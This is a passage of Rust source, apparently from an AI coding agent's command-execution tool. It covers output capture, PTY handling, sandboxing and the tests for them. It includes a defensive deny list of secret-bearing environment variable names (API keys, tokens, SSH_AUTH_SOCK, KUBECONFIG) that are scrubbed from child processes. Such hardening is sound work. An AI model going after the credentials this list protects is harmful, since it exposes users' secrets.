1280 .map(|url| {
1281 url.trim_matches(|c: char| matches!(c, ')' | ']' | '}' | ',' | ';' | '"' | '\''))
1282 .to_string()
1283 })
1284 .collect()
1285}
1286
1287async fn open_browser_url(url: &str) -> Result<(), String> {
1288 super::web::require_http_scheme(url)?;
1292
1293 #[cfg(target_os = "macos")]
1294 let mut command = {
1295 let mut cmd = Command::new("open");
1296 cmd.arg(url);
1297 cmd
1298 };
1299
1300 #[cfg(target_os = "linux")]
1301 let mut command = {
1302 let mut cmd = Command::new("xdg-open");
1303 cmd.arg(url);
1304 cmd
1305 };
1306
1307 #[cfg(target_os = "windows")]
1308 let mut command = {
1309 let mut cmd = Command::new("rundll32");
1314 cmd.args(["url.dll,FileProtocolHandler", url]);
1315 cmd
1316 };
1317
1318 command
1319 .stdin(Stdio::null())
1320 .stdout(Stdio::null())
1321 .stderr(Stdio::null())
1322 .kill_on_drop(false)
1323 .spawn()
1324 .map(|_| ())
1325 .map_err(|e| e.to_string())
1326}
1327
1328#[derive(Debug, Clone)]
1333struct CommandRunOutput {
1334 output: String,
1335 exit_code: Option<i32>,
1336 signal: Option<i32>,
1340 stdout_lines: usize,
1341 stderr_lines: usize,
1342}
1343
1344enum CommandRunResult {
1349 Completed(CommandRunOutput),
1350 Detached { pid: u32, log_path: PathBuf },
1351 Cancelled,
1352 TimedOut,
1353}
1354
1355const SECRET_ENV_VARS: &[&str] = &[
1361 "ANTHROPIC_API_KEY",
1362 "OPENAI_API_KEY",
1363 "GEMINI_API_KEY",
1364 "GOOGLE_API_KEY",
1365 "OLLAMA_API_KEY",
1366 "GROQ_API_KEY",
1367 "MISTRAL_API_KEY",
1368 "DEEPSEEK_API_KEY",
1369 "OPENROUTER_API_KEY",
1370 "XAI_API_KEY",
1371 "TOGETHER_API_KEY",
1372 "MERMAID_DAEMON_TOKEN",
1373];
1374
1375fn harden_noninteractive_env(cmd: &mut Command) {
1382 cmd.env("GIT_TERMINAL_PROMPT", "0");
1383}
1384
1385fn scrub_secret_env(cmd: &mut Command) {
1390 for name in secret_env_names() {
1391 cmd.env_remove(&name);
1392 }
1393}
1394
1395fn secret_env_names() -> Vec<String> {
1399 std::env::vars()
1400 .map(|(name, _)| name)
1401 .filter(|name| is_secret_env_name(name))
1402 .collect()
1403}
1404
1405fn is_secret_env_name(name: &str) -> bool {
1409 let upper = name.to_ascii_uppercase();
1410 SECRET_ENV_VARS.contains(&upper.as_str())
1411 || upper.contains("API_KEY")
1412 || upper.contains("APIKEY")
1413 || upper.contains("ACCESS_KEY")
1414 || upper.contains("PRIVATE_KEY")
1415 || upper.contains("SECRET")
1416 || upper.contains("PASSWORD")
1417 || upper.contains("PASSWD")
1418 || upper.contains("CREDENTIAL")
1419 || upper.contains("TOKEN")
1420 || upper.contains("WEBHOOK")
1421 || upper.contains("DATABASE_URL")
1422 || upper.ends_with("_DSN")
1423 || upper.contains("CONNECTION_STRING")
1424 || upper == "KUBECONFIG"
1425 || upper == "SSH_AUTH_SOCK"
1426}
1427
1428const TEE_LOG_CAP_BYTES: usize = 64 * 1024 * 1024;
1437
1438struct CappedCapture {
1445 head_cap: usize,
1446 tail_cap: usize,
1447 head: Vec<u8>,
1448 tail: std::collections::VecDeque<u8>,
1449 total: usize,
1450}
1451
1452impl CappedCapture {
1453 fn new(cap: usize) -> Self {
1454 let head_cap = cap / 2;
1455 Self {
1456 head_cap,
1457 tail_cap: cap - head_cap,
1458 head: Vec::new(),
1459 tail: std::collections::VecDeque::new(),
1460 total: 0,
1461 }
1462 }
1463
1464 fn push(&mut self, mut chunk: &[u8]) {
1465 self.total += chunk.len();
1466 if self.head.len() < self.head_cap {
1469 let take = (self.head_cap - self.head.len()).min(chunk.len());
1470 self.head.extend_from_slice(&chunk[..take]);
1471 chunk = &chunk[take..];
1472 }
1473 if !chunk.is_empty() {
1474 self.tail.extend(chunk.iter().copied());
1475 while self.tail.len() > self.tail_cap {
1476 self.tail.pop_front();
1477 }
1478 }
1479 }
1480
1481 fn finish(self) -> (String, bool) {
1484 let truncated = self.total > self.head_cap + self.tail_cap;
1485 let tail_bytes: Vec<u8> = self.tail.into_iter().collect();
1486 let mut out = String::from_utf8_lossy(&self.head).into_owned();
1487 if truncated {
1488 let dropped = self.total - self.head.len() - tail_bytes.len();
1489 out.push_str(&format!("\n…[output truncated, {dropped} bytes elided]…\n"));
1490 }
1491 out.push_str(&String::from_utf8_lossy(&tail_bytes));
1492 (out, truncated)
1493 }
1494}
1495
1496async fn read_capped<R: AsyncRead + Unpin>(
1497 mut reader: R,
1498 cap: usize,
1499 log_cap: usize,
1500 progress: Option<tokio::sync::mpsc::Sender<ProgressEvent>>,
1501 log: Option<std::sync::Arc<tokio::sync::Mutex<tokio::fs::File>>>,
1502) -> (String, bool) {
1503 let mut buf = [0u8; 8192];
1504 let mut capture = CappedCapture::new(cap);
1505 let mut logged: usize = 0;
1506 let mut log_capped = false;
1507 loop {
1508 match reader.read(&mut buf).await {
1509 Ok(0) => break,
1510 Ok(n) => {
1511 if let Some(file) = &log
1516 && !log_capped
1517 {
1518 let mut f = file.lock().await;
1519 if logged + n <= log_cap {
1520 let _ = f.write_all(&buf[..n]).await;
1521 logged += n;
1522 } else {
1523 let remaining = log_cap - logged;
1524 let _ = f.write_all(&buf[..remaining]).await;
1525 let _ = f.write_all(b"\n...[log truncated]...\n").await;
1526 log_capped = true;
1527 }
1528 let _ = f.flush().await;
1529 }
1530 if let Some(tx) = &progress {
1531 let chunk = String::from_utf8_lossy(&buf[..n]);
1532 for line in chunk.split('\n') {
1533 if !line.is_empty() {
1534 let _ = tx.send(ProgressEvent::Output(line.to_string())).await;
1535 }
1536 }
1537 }
1538 capture.push(&buf[..n]);
1539 },
1540 Err(_) => break,
1541 }
1542 }
1543 capture.finish()
1544}
1545
1546fn strip_ansi(input: &str) -> String {
1555 let mut out = String::with_capacity(input.len());
1556 let mut chars = input.chars().peekable();
1557 while let Some(c) = chars.next() {
1558 match c {
1559 '\u{1b}' => match chars.next() {
1560 Some('[') => {
1562 for f in chars.by_ref() {
1563 if ('\u{40}'..='\u{7e}').contains(&f) {
1564 break;
1565 }
1566 }
1567 },
1568 Some(']') => {
1570 let mut prev_esc = false;
1571 for f in chars.by_ref() {
1572 if f == '\u{7}' || (prev_esc && f == '\\') {
1573 break;
1574 }
1575 prev_esc = f == '\u{1b}';
1576 }
1577 },
1578 Some('P' | 'X' | '^' | '_') => {
1583 let mut prev_esc = false;
1584 for f in chars.by_ref() {
1585 if prev_esc && f == '\\' {
1586 break;
1587 }
1588 prev_esc = f == '\u{1b}';
1589 }
1590 },
1591 Some(_) | None => {},
1594 },
1595 '\u{7}' => {},
1597 '\u{8}' => {
1600 if out.ends_with(|p: char| p != '\n') {
1601 out.pop();
1602 }
1603 },
1604 '\r' => {
1605 if chars.peek() == Some(&'\n') {
1606 chars.next();
1607 }
1608 out.push('\n');
1609 },
1610 _ => out.push(c),
1611 }
1612 }
1613 out
1614}
1615
1616async fn run_command(
1617 mut cmd: Command,
1618 progress: tokio::sync::mpsc::Sender<ProgressEvent>,
1619 token: tokio_util::sync::CancellationToken,
1620 background: tokio_util::sync::CancellationToken,
1621 timeout: Duration,
1622) -> std::io::Result<CommandRunResult> {
1623 let mut child = cmd.spawn()?;
1624 let pid = child.id();
1625
1626 let stdout = child
1627 .stdout
1628 .take()
1629 .ok_or_else(|| std::io::Error::other("child stdout unavailable"))?;
1630 let stderr = child
1631 .stderr
1632 .take()
1633 .ok_or_else(|| std::io::Error::other("child stderr unavailable"))?;
1634
1635 let log_path = background_log_path();
1639 let log =
1640 create_tee_log_blocking(&log_path).map(|f| std::sync::Arc::new(tokio::sync::Mutex::new(f)));
1641
1642 let cap = crate::constants::MAX_TOOL_OUTPUT_BYTES;
1643 let stdout_task = tokio::spawn(read_capped(
1644 stdout,
1645 cap,
1646 TEE_LOG_CAP_BYTES,
1647 Some(progress.clone()),
1648 log.clone(),
1649 ));
1650 let stderr_task = tokio::spawn(read_capped(
1651 stderr,
1652 cap,
1653 TEE_LOG_CAP_BYTES,
1654 None,
1655 log.clone(),
1656 ));
1657
1658 let (done_tx, done_rx) = tokio::sync::oneshot::channel();
1663 let driver = tokio::spawn(async move {
1664 let (output, _) = stdout_task.await.unwrap_or_default();
1665 let (errors, _) = stderr_task.await.unwrap_or_default();
1666 let status = child.wait().await;
1667 let _ = done_tx.send((output, errors, status));
1668 });
1669
1670 let timeout_fut = tokio::time::sleep(timeout);
1671
1672 tokio::select! {
1673 biased;
1674 _ = background.cancelled() => {
1675 match pid {
1676 Some(pid) => {
1680 drop(driver);
1681 Ok(CommandRunResult::Detached { pid, log_path })
1682 }
1683 None => {
1688 driver.abort();
1689 let _ = tokio::fs::remove_file(&log_path).await;
1690 Ok(CommandRunResult::Cancelled)
1691 }
1692 }
1693 }
1694 _ = token.cancelled() => {
1695 if let Some(p) = pid {
1699 crate::utils::terminate_tree(p, crate::utils::Grace::Immediate).await;
1700 }
1701 driver.abort();
1709 let _ = tokio::fs::remove_file(&log_path).await;
1710 Ok(CommandRunResult::Cancelled)
1711 }
1712 res = done_rx => {
1713 drop(log);
1715 let _ = tokio::fs::remove_file(&log_path).await;
1716 let (output, errors, status) = res
1717 .map_err(|_| std::io::Error::other("command driver dropped before completing"))?;
1718 let status = status?;
1719 let stdout_lines = output.lines().count();
1720 let stderr_lines = errors.lines().count();
1721 let mut full_output = output;
1722 if !errors.is_empty() {
1723 full_output.push_str("\n--- stderr ---\n");
1724 full_output.push_str(&errors);
1725 }
1726 if !status.success() {
1727 full_output.push_str(&format!(
1728 "\n--- Command exited with status: {} ---",
1729 status.code().unwrap_or(-1)
1730 ));
1731 }
1732 #[cfg(unix)]
1736 let signal = {
1737 use std::os::unix::process::ExitStatusExt;
1738 status.signal()
1739 };
1740 #[cfg(not(unix))]
1741 let signal = None;
1742 Ok(CommandRunResult::Completed(CommandRunOutput {
1743 output: full_output,
1744 exit_code: status.code(),
1745 signal,
1746 stdout_lines,
1747 stderr_lines,
1748 }))
1749 }
1750 _ = timeout_fut => {
1751 if let Some(p) = pid {
1757 crate::utils::terminate_tree(p, crate::utils::Grace::Immediate).await;
1758 }
1759 driver.abort();
1760 let _ = tokio::fs::remove_file(&log_path).await;
1761 Ok(CommandRunResult::TimedOut)
1762 }
1763 }
1764}
1765
1766struct PtyDrain {
1770 capture: CappedCapture,
1771 log: Option<std::sync::Arc<tokio::sync::Mutex<tokio::fs::File>>>,
1772 logged: usize,
1773 log_capped: bool,
1774 line_buf: String,
1775 progress: tokio::sync::mpsc::Sender<ProgressEvent>,
1776}
1777
1778impl PtyDrain {
1779 async fn push(&mut self, chunk: &[u8]) {
1780 if let Some(file) = &self.log
1783 && !self.log_capped
1784 {
1785 let mut f = file.lock().await;
1786 if self.logged + chunk.len() <= TEE_LOG_CAP_BYTES {
1787 let _ = f.write_all(chunk).await;
1788 self.logged += chunk.len();
1789 } else {
1790 let remaining = TEE_LOG_CAP_BYTES - self.logged;
1791 let _ = f.write_all(&chunk[..remaining]).await;
1792 let _ = f.write_all(b"\n...[log truncated]...\n").await;
1793 self.log_capped = true;
1794 }
1795 let _ = f.flush().await;
1796 }
1797 self.line_buf
1800 .push_str(&strip_ansi(&String::from_utf8_lossy(chunk)));
1801 while let Some(i) = self.line_buf.find('\n') {
1802 let line: String = self.line_buf.drain(..=i).collect();
1803 let line = line.trim_end();
1804 if !line.is_empty() {
1805 let _ = self
1806 .progress
1807 .send(ProgressEvent::Output(line.to_string()))
1808 .await;
1809 }
1810 }
1811 self.capture.push(chunk);
1813 }
1814}
1815
1816async fn run_command_pty(
1840 invocation: &ShellInvocation,
1841 workdir: &Path,
1842 scratchpad: Option<&Path>,
1843 progress: tokio::sync::mpsc::Sender<ProgressEvent>,
1844 token: tokio_util::sync::CancellationToken,
1845 background: tokio_util::sync::CancellationToken,
1846 timeout: Duration,
1847) -> std::io::Result<CommandRunResult> {
1848 use portable_pty::{CommandBuilder, PtySize, native_pty_system};
1849
1850 let pty = native_pty_system();
1851 let pair = pty
1852 .openpty(PtySize {
1853 rows: 24,
1854 cols: 80,
1855 pixel_width: 0,
1856 pixel_height: 0,
1857 })
1858 .map_err(std::io::Error::other)?;
1859 let mut reader = pair
1862 .master
1863 .try_clone_reader()
1864 .map_err(std::io::Error::other)?;
1865
1866 #[cfg(windows)]
1875 let writer = {
1876 use std::io::Write as _;
1877 let mut writer = pair.master.take_writer().map_err(std::io::Error::other)?;
1878 writer.write_all(b"\x1b[1;1R")?;
1879 writer
1880 };
1881
1882 let mut builder = CommandBuilder::new(&invocation.program);
1883 builder.args(&invocation.args);
1884 builder.cwd(workdir);
1885 for name in secret_env_names() {
1886 builder.env_remove(name);
1887 }
1888 builder.env("GIT_TERMINAL_PROMPT", "0");
1891 builder.env("TERM", "xterm-256color");
1892 if let Some(dir) = scratchpad {
1895 builder.env(SCRATCHPAD_ENV_VAR, dir);
1896 }
1897
1898 let mut child = pair
1899 .slave
1900 .spawn_command(builder)
1901 .map_err(std::io::Error::other)?;
1902 drop(pair.slave);
1904 let pid = child.process_id();
1905 let master = pair.master;
1906
1907 let log_path = background_log_path();
1908 let log =
1909 create_tee_log_blocking(&log_path).map(|f| std::sync::Arc::new(tokio::sync::Mutex::new(f)));
1910
1911 let (chunk_tx, mut chunk_rx) = tokio::sync::mpsc::channel::<Vec<u8>>(32);
1913 let reader_thread = tokio::task::spawn_blocking(move || {
1914 let mut buf = [0u8; 8192];
1915 loop {
1916 match reader.read(&mut buf) {
1917 Ok(0) | Err(_) => break,
1918 Ok(n) => {
1919 if chunk_tx.blocking_send(buf[..n].to_vec()).is_err() {
1920 break;
1921 }
1922 },
1923 }
1924 }
1925 });
1926
1927 let drain = tokio::spawn(async move {
1928 let mut drain = PtyDrain {
1929 capture: CappedCapture::new(crate::constants::MAX_TOOL_OUTPUT_BYTES),
1930 log,
1931 logged: 0,
1932 log_capped: false,
1933 line_buf: String::new(),
1934 progress,
1935 };
1936 while let Some(chunk) = chunk_rx.recv().await {
1937 drain.push(&chunk).await;
1938 }
1939 drain.capture.finish()
1940 });
1941
1942 let (done_tx, done_rx) = tokio::sync::oneshot::channel();
1952 let driver = tokio::spawn(async move {
1953 let status = tokio::task::spawn_blocking(move || {
1954 let status = child.wait();
1955 #[cfg(windows)]
1958 drop(writer);
1959 drop(master);
1960 status
1961 })
1962 .await;
1963 let (output, truncated) = drain.await.unwrap_or_default();
1964 let _ = reader_thread.await;
1965 let _ = done_tx.send((output, truncated, status));
1966 });
1967
1968 let timeout_fut = tokio::time::sleep(timeout);
1969
1970 tokio::select! {
1971 biased;
1972 _ = background.cancelled() => {
1973 match pid {
1974 Some(pid) => {
1978 drop(driver);
1979 Ok(CommandRunResult::Detached { pid, log_path })
1980 },
1981 None => {
1982 driver.abort();
1983 let _ = tokio::fs::remove_file(&log_path).await;
1984 Ok(CommandRunResult::Cancelled)
1985 },
1986 }
1987 }
1988 _ = token.cancelled() => {
1989 if let Some(p) = pid {
1998 crate::utils::terminate_tree(p, crate::utils::Grace::Immediate).await;
1999 }
2000 driver.abort();
2001 let _ = tokio::fs::remove_file(&log_path).await;
2002 Ok(CommandRunResult::Cancelled)
2003 }
2004 res = done_rx => {
2005 let _ = tokio::fs::remove_file(&log_path).await;
2006 let (raw, _truncated, status) = res
2007 .map_err(|_| std::io::Error::other("pty driver dropped before completing"))?;
2008 let status = status
2009 .map_err(|e| std::io::Error::other(format!("pty waiter panicked: {e}")))?
2010 .map_err(std::io::Error::other)?;
2011 let mut output = strip_ansi(&raw);
2014 let (exit_code, signal) = match status.signal() {
2021 Some(name) if name.eq_ignore_ascii_case("bad system call") => {
2022 (None, Some(SANDBOX_KILL_SIGNAL))
2023 },
2024 Some(_) => (None, None),
2025 None => (Some(status.exit_code() as i32), None),
2026 };
2027 if !status.success() {
2028 output.push_str(&format!(
2029 "\n--- Command exited with status: {} ---",
2030 exit_code.unwrap_or(-1)
2031 ));
2032 }
2033 let stdout_lines = output.lines().count();
2034 Ok(CommandRunResult::Completed(CommandRunOutput {
2035 output,
2036 exit_code,
2037 signal,
2038 stdout_lines,
2040 stderr_lines: 0,
2041 }))
2042 }
2043 _ = timeout_fut => {
2044 if let Some(p) = pid {
2045 crate::utils::terminate_tree(p, crate::utils::Grace::Immediate).await;
2046 }
2047 driver.abort();
2048 let _ = tokio::fs::remove_file(&log_path).await;
2049 Ok(CommandRunResult::TimedOut)
2050 }
2051 }
2052}
2053
2054fn contains_dangerous_command(command: &str) -> bool {
2063 crate::runtime::is_destructive_command(command)
2064}
2065
2066#[cfg(test)]
2067mod tests {
2068 use super::*;
2069 use crate::domain::{ToolCallId, TurnId};
2070 use crate::providers::ctx::test_exec_context;
2071 use std::path::PathBuf;
2072
2073 #[test]
2074 fn network_denial_detects_sigsys_and_reaped_child_exit() {
2075 let out = |exit: Option<i32>, signal: Option<i32>| CommandRunOutput {
2076 output: String::new(),
2077 exit_code: exit,
2078 signal,
2079 stdout_lines: 0,
2080 stderr_lines: 0,
2081 };
2082 assert!(is_sigsys_denial(&out(None, Some(31))));
2084 assert!(is_sigsys_denial(&out(Some(159), None)));
2086 assert!(!is_sigsys_denial(&out(Some(1), None)));
2088 assert!(!is_sigsys_denial(&out(Some(0), None)));
2089 assert!(!is_sigsys_denial(&out(None, Some(11)))); }
2091
2092 #[test]
2093 fn detect_denial_gates_on_active_policies() {
2094 let out = |exit: Option<i32>, signal: Option<i32>, output: &str| CommandRunOutput {
2095 output: output.to_string(),
2096 exit_code: exit,
2097 signal,
2098 stdout_lines: 0,
2099 stderr_lines: 0,
2100 };
2101 assert_eq!(
2104 detect_denial(&out(Some(159), None, "Permission denied"), false, false),
2105 None
2106 );
2107 assert_eq!(detect_denial(&out(None, Some(31), ""), false, false), None);
2108 assert_eq!(detect_denial(&out(Some(0), None, ""), true, true), None);
2110 #[cfg(target_os = "linux")]
2111 {
2112 assert_eq!(
2115 detect_denial(&out(None, Some(31), ""), true, true),
2116 Some(DenialKind::Network)
2117 );
2118 assert_eq!(
2119 detect_denial(&out(Some(1), None, "Permission denied"), false, true),
2120 Some(DenialKind::Filesystem)
2121 );
2122 assert_eq!(
2125 detect_denial(&out(Some(1), None, "Permission denied"), true, false),
2126 None
2127 );
2128 }
2129 #[cfg(target_os = "macos")]
2130 {
2131 let eperm = out(Some(1), None, "curl: Operation not permitted");
2133 assert_eq!(
2134 detect_denial(&eperm, true, false),
2135 Some(DenialKind::Network)
2136 );
2137 assert_eq!(
2138 detect_denial(&eperm, false, true),
2139 Some(DenialKind::Filesystem)
2140 );
2141 assert_eq!(
2142 detect_denial(&eperm, true, true),
2143 Some(DenialKind::Ambiguous)
2144 );
2145 }
2146 }
2147
2148 #[test]
2149 fn fs_denial_requires_failure_and_permission_signature() {
2150 let out = |exit: Option<i32>, output: &str| CommandRunOutput {
2151 output: output.to_string(),
2152 exit_code: exit,
2153 signal: None,
2154 stdout_lines: 0,
2155 stderr_lines: 0,
2156 };
2157 assert!(is_permission_denial(&out(
2159 Some(1),
2160 "sh: line 1: /etc/nope: Permission denied"
2161 )));
2162 assert!(is_permission_denial(&out(
2163 Some(2),
2164 "touch: Operation not permitted"
2165 )));
2166 assert!(!is_permission_denial(&out(
2168 Some(0),
2169 "grep found: Permission denied"
2170 )));
2171 assert!(!is_permission_denial(&out(Some(1), "some other failure")));
2173 assert!(!is_permission_denial(&out(None, "Permission denied")));
2174 }
2175
2176 #[test]
2177 fn sandboxed_shell_wraps_only_when_requested() {
2178 let plain = build_sandboxed_shell("echo hi", false, None);
2179 let plain_prog = plain.as_std().get_program().to_string_lossy().into_owned();
2180 assert!(
2181 plain_prog.ends_with("sh") || plain_prog.ends_with("cmd"),
2182 "plain shell program: {plain_prog}"
2183 );
2184
2185 let wrapped = build_sandboxed_shell("echo hi", true, None);
2186 let args: Vec<String> = wrapped
2187 .as_std()
2188 .get_args()
2189 .map(|a| a.to_string_lossy().into_owned())
2190 .collect();
2191 assert_eq!(args.first().map(String::as_str), Some("__sandbox-exec"));
2192 assert!(args.contains(&"--no-network".to_string()));
2193 assert!(!args.contains(&"--confine-writes".to_string()));
2194 assert!(args.contains(&"sh".to_string()));
2195 }
2196
2197 #[test]
2198 fn sandboxed_shell_passes_confine_writes_dirs() {
2199 let dirs = vec![PathBuf::from("/proj"), PathBuf::from("/dev")];
2200 let wrapped = build_sandboxed_shell("echo hi", false, Some(&dirs));
2201 let args: Vec<String> = wrapped
2202 .as_std()
2203 .get_args()
2204 .map(|a| a.to_string_lossy().into_owned())
2205 .collect();
2206 assert_eq!(args.first().map(String::as_str), Some("__sandbox-exec"));
2207 assert!(!args.contains(&"--no-network".to_string()));
2208 assert_eq!(
2210 args.iter().filter(|a| *a == "--confine-writes").count(),
2211 2,
2212 "args: {args:?}"
2213 );
2214 assert!(args.contains(&"/proj".to_string()));
2215 assert!(args.contains(&"/dev".to_string()));
2216 }
2217
2218 #[tokio::test]
2219 async fn tee_log_is_capped() {
2220 let dir = std::env::temp_dir().join(format!("mermaid_teelog_{}", std::process::id()));
2224 let _ = std::fs::create_dir_all(&dir);
2225 let path = dir.join("log.txt");
2226 let file = tokio::fs::File::create(&path).await.unwrap();
2227 let log = std::sync::Arc::new(tokio::sync::Mutex::new(file));
2228 let data = vec![b'x'; 4000];
2230 let _ = read_capped(&data[..], 1_000_000, 16, None, Some(log)).await;
2231 let written = std::fs::read(&path).unwrap();
2232 assert!(
2233 written.len() < 200,
2234 "log must be capped near 16 bytes + marker, got {}",
2235 written.len()
2236 );
2237 assert!(String::from_utf8_lossy(&written).contains("log truncated"));
2238 let _ = std::fs::remove_dir_all(&dir);
2239 }
2240
2241 #[cfg(unix)]
2242 #[test]
2243 fn tee_log_created_owner_only_and_refuses_existing() {
2244 use std::os::unix::fs::PermissionsExt;
2249 let dir = std::env::temp_dir().join(format!("mermaid_loghard_{}", std::process::id()));
2250 let _ = std::fs::create_dir_all(&dir);
2251 let path = dir.join("bg.log");
2252 let _ = std::fs::remove_file(&path);
2253
2254 let file = create_log_file_blocking(&path).expect("first create succeeds");
2255 drop(file);
2256 let mode = std::fs::metadata(&path).unwrap().permissions().mode() & 0o777;
2257 assert_eq!(mode, 0o600, "tee log must be owner-only, got {mode:o}");
2258
2259 assert!(
2262 create_log_file_blocking(&path).is_err(),
2263 "O_EXCL must refuse an existing path"
2264 );
2265 let _ = std::fs::remove_dir_all(&dir);
2266 }
2267
2268 #[test]
2269 fn secret_env_name_denylist_covers_common_carriers() {
2270 for name in [
2272 "ANTHROPIC_API_KEY",
2273 "AWS_SECRET_ACCESS_KEY",
2274 "GITHUB_TOKEN",
2275 "MY_SERVICE_PRIVATE_KEY",
2276 "DATABASE_URL",
2277 "SENTRY_DSN",
2278 "SLACK_WEBHOOK_URL",
2279 "KUBECONFIG",
2280 "SSH_AUTH_SOCK",
2281 "DB_PASSWORD",
2282 "PG_CONNECTION_STRING",
2283 ] {
2284 assert!(is_secret_env_name(name), "{name} should be scrubbed");
2285 }
2286 for name in [
2288 "PATH",
2289 "HOME",
2290 "CARGO_HOME",
2291 "LANG",
2292 "XAUTHORITY",
2293 "RUSTUP_HOME",
2294 ] {
2295 assert!(!is_secret_env_name(name), "{name} should NOT be scrubbed");
2296 }
2297 }
2298
2299 #[tokio::test]
2300 async fn out_of_project_working_dir_is_escalated_and_blocked() {
2301 let project = std::env::temp_dir().join(format!("mermaid_wd_{}", std::process::id()));
2306 let _ = std::fs::remove_dir_all(&project);
2307 std::fs::create_dir_all(&project).unwrap();
2308 let outside = project.parent().unwrap().to_path_buf();
2309
2310 let mk_ctx = || {
2311 let (tx, rx) = tokio::sync::mpsc::channel(64);
2312 let mut config = crate::app::Config::default();
2313 config.safety.mode = crate::runtime::SafetyMode::ReadOnly;
2314 let ctx = crate::providers::ctx::ExecContext::new(
2315 tokio_util::sync::CancellationToken::new(),
2316 tx,
2317 ToolCallId(1),
2318 TurnId(1),
2319 project.clone(),
2320 std::sync::Arc::new(config),
2321 String::new(),
2322 None,
2323 None,
2324 None,
2325 crate::runtime::SafetyMode::ReadOnly,
2326 None,
2327 None,
2328 None,
2329 None,
2330 None,
2331 );
2332 (ctx, rx)
2333 };
2334
2335 let (ctx, _rx) = mk_ctx();
2336 let outcome = ExecuteCommandTool
2337 .execute(serde_json::json!({"command": "echo hi"}), ctx)
2338 .await;
2339 assert!(
2340 outcome.is_success(),
2341 "in-project read-only echo should run: {outcome:?}",
2342 );
2343
2344 let (ctx, _rx) = mk_ctx();
2345 let outcome = ExecuteCommandTool
2346 .execute(
2347 serde_json::json!({
2348 "command": "echo hi",
2349 "working_dir": outside.display().to_string(),
2350 }),
2351 ctx,
2352 )
2353 .await;
2354 assert_eq!(
2355 outcome.status,
2356 crate::domain::ToolStatus::Error,
2357 "out-of-project working_dir must be escalated + blocked: {outcome:?}",
2358 );
2359
2360 let _ = std::fs::remove_dir_all(&project);
2361 }
2362
2363 #[tokio::test]
2364 async fn safe_command_runs_and_captures_output() {
2365 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
2366 let outcome = ExecuteCommandTool
2367 .execute(serde_json::json!({"command": "echo hello world"}), ctx)
2368 .await;
2369 assert!(outcome.is_success(), "expected success: {:?}", outcome);
2370 assert!(outcome.output().contains("hello world"));
2371 }
2372
2373 #[cfg(target_os = "linux")]
2378 #[tokio::test]
2379 async fn foreground_child_runs_in_new_session() {
2380 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
2381 let outcome = ExecuteCommandTool
2382 .execute(
2383 serde_json::json!({
2384 "command": r#"test "$(awk '{print $6}' /proc/$$/stat)" = "$$" && echo NEW_SESSION_OK || echo "NOT_A_SESSION_LEADER sid=$(awk '{print $6}' /proc/$$/stat) pid=$$""#,
2385 }),
2386 ctx,
2387 )
2388 .await;
2389 assert!(outcome.is_success(), "expected success: {outcome:?}");
2390 assert!(
2391 outcome.output().contains("NEW_SESSION_OK"),
2392 "child shell is not a session leader: {}",
2393 outcome.output()
2394 );
2395 }
2396
2397 #[cfg(unix)]
2402 #[tokio::test]
2403 async fn pty_child_dev_tty_is_the_captured_pty() {
2404 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
2405 let outcome = ExecuteCommandTool
2406 .execute(
2407 serde_json::json!({
2408 "command": "if echo CAPTURED_BY_PTY > /dev/tty 2>/dev/null; then echo TTY_OPEN_OK; else echo TTY_OPEN_DENIED; fi",
2409 }),
2410 ctx,
2411 )
2412 .await;
2413 assert!(outcome.is_success(), "expected success: {outcome:?}");
2414 assert!(
2415 outcome.output().contains("TTY_OPEN_OK"),
2416 "PTY child should see a controlling terminal: {}",
2417 outcome.output()
2418 );
2419 assert!(
2420 outcome.output().contains("CAPTURED_BY_PTY"),
2421 "/dev/tty writes must land in the CAPTURE, not the user's terminal: {}",
2422 outcome.output()
2423 );
2424 }
2425
2426 #[cfg(unix)]
2432 #[tokio::test]
2433 async fn foreground_child_cannot_open_dev_tty() {
2434 if std::fs::File::open("/dev/tty").is_err() {
2435 eprintln!("skipped: no controlling terminal in test environment");
2436 return;
2437 }
2438 let (ctx, _rx) = pipes_ctx();
2439 let outcome = ExecuteCommandTool
2440 .execute(
2441 serde_json::json!({
2442 "command": "if echo x > /dev/tty 2>/dev/null; then echo TTY_OPEN_OK; else echo TTY_OPEN_DENIED; fi",
2443 }),
2444 ctx,
2445 )
2446 .await;
2447 assert!(
2448 outcome.output().contains("TTY_OPEN_DENIED"),
2449 "session-detached child could still open /dev/tty: {}",
2450 outcome.output()
2451 );
2452 }
2453
2454 fn pipes_ctx() -> (
2456 crate::providers::ctx::ExecContext,
2457 tokio::sync::mpsc::Receiver<crate::providers::ctx::ProgressEvent>,
2458 ) {
2459 let mut config = crate::app::Config::default();
2460 config.safety.mode = crate::runtime::SafetyMode::FullAccess;
2461 config.exec.pty = Some(false);
2462 crate::providers::ctx::test_exec_context_with_config(
2463 TurnId(1),
2464 ToolCallId(1),
2465 std::env::temp_dir(),
2466 config,
2467 )
2468 }
2469
2470 #[cfg(unix)]
2471 #[tokio::test]
2472 async fn pty_child_sees_a_terminal_and_pipes_child_does_not() {
2473 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
2475 let outcome = ExecuteCommandTool
2476 .execute(
2477 serde_json::json!({"command": "if [ -t 1 ]; then echo IS_TTY; fi; tty"}),
2478 ctx,
2479 )
2480 .await;
2481 assert!(outcome.is_success(), "{outcome:?}");
2482 assert!(outcome.output().contains("IS_TTY"), "{}", outcome.output());
2483 assert!(
2484 outcome.output().contains("/dev/pts/") || outcome.output().contains("/dev/tty"),
2485 "tty should name the pts: {}",
2486 outcome.output()
2487 );
2488 let (ctx, _rx) = pipes_ctx();
2490 let outcome = ExecuteCommandTool
2491 .execute(
2492 serde_json::json!({"command": "if [ -t 1 ]; then echo IS_TTY; else echo NOT_TTY; fi"}),
2493 ctx,
2494 )
2495 .await;
2496 assert!(outcome.output().contains("NOT_TTY"), "{}", outcome.output());
2497 }
2498
2499 #[cfg(unix)]
2500 #[tokio::test]
2501 async fn pty_output_is_ansi_clean_and_crlf_normalized() {
2502 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
2503 let outcome = ExecuteCommandTool
2506 .execute(
2507 serde_json::json!({
2508 "command": r"printf '\033[31mRED\033[0m\nline2\n'",
2509 }),
2510 ctx,
2511 )
2512 .await;
2513 assert!(outcome.is_success(), "{outcome:?}");
2514 let out = outcome.output();
2515 assert!(out.contains("RED\nline2"), "clean joined lines: {out:?}");
